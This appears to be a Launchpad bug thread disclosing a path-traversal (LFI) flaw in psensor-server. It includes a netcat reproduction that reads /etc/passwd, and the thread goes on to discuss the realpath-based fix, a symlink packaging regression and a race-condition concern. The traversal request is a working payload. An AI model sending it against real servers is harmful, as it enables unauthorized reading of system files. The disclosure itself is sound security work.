LFI Security vulnerability

[Jean-Philippe Orsini]

Concern all releases of psensor until the future (not yet released) version 1.1.4.

How to reproduce:

$ psensor-server -p 3131

$ nc -vv localhost 3131
Connection to 10.0.1.1 3131 port [tcp/*] succeeded!
GET /../../../../../../../../etc/passwd HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 2582
Date: Tue, 18 Nov 2014 10:46:19 GMT

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Fix for psensor v1.1.3: http://wpitchoune.net/gitweb/?p=psensor.git;a=commitdiff;h=13042c5b5a9e367e4f7f8552f3cbf1041d3b9902

Note: psensor (GUI, binary package package) does not depend on psensor-server (separate binary package). The audience of psensor-server is very low

[Seth Arnold (seth-arnold)]

Thanks for taking the time to report this bug and helping to make Ubuntu better. Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package. See the following link for more information: https://wiki.ubuntu.com/SecurityTeam/UpdateProcedures

[Seth Arnold (seth-arnold)]

When coordinating with upstream, please investigate if the proposed fix is safe from race conditions.

Thanks

[Jean-Philippe Orsini (jfi)]

@Seth, I am the author of psensor.

I did the debdiff but unfortunely there is a specific ubuntu regression

The ubuntu packaging is linking /usr/share/psensor/www/jquery.js to /usr/share/javascript/jquery/jquery.js which is rejected by the fix (based on calling realpath C function)because it is not under the www directory of psensor-server.

I don't have found for the moment a clean solution to this issue.

[Seth Arnold (seth-arnold)]

Jean-Philippe, ah, that is a bit of an annoyance. I don't know what to recommend.

The race condition I was worried about is the check for the realpath() appears to be done some point before the file is opened; a symlink could be made between those two and the end result could be the same.

Of course this may or may not be a pressing issue -- php, for example, gave up trying to defend their "safe_open" family of functions that tried to restrict access to one directory tree, because it is in the end POSIX does not make this goal easy. open(2)'s O_NOFOLLOW only applies to the final component of the path, not every element in the path.

Thanks

[Launchpad Janitor (janitor)]

[Expired for psensor (Ubuntu) because there has been no activity for 60 days.]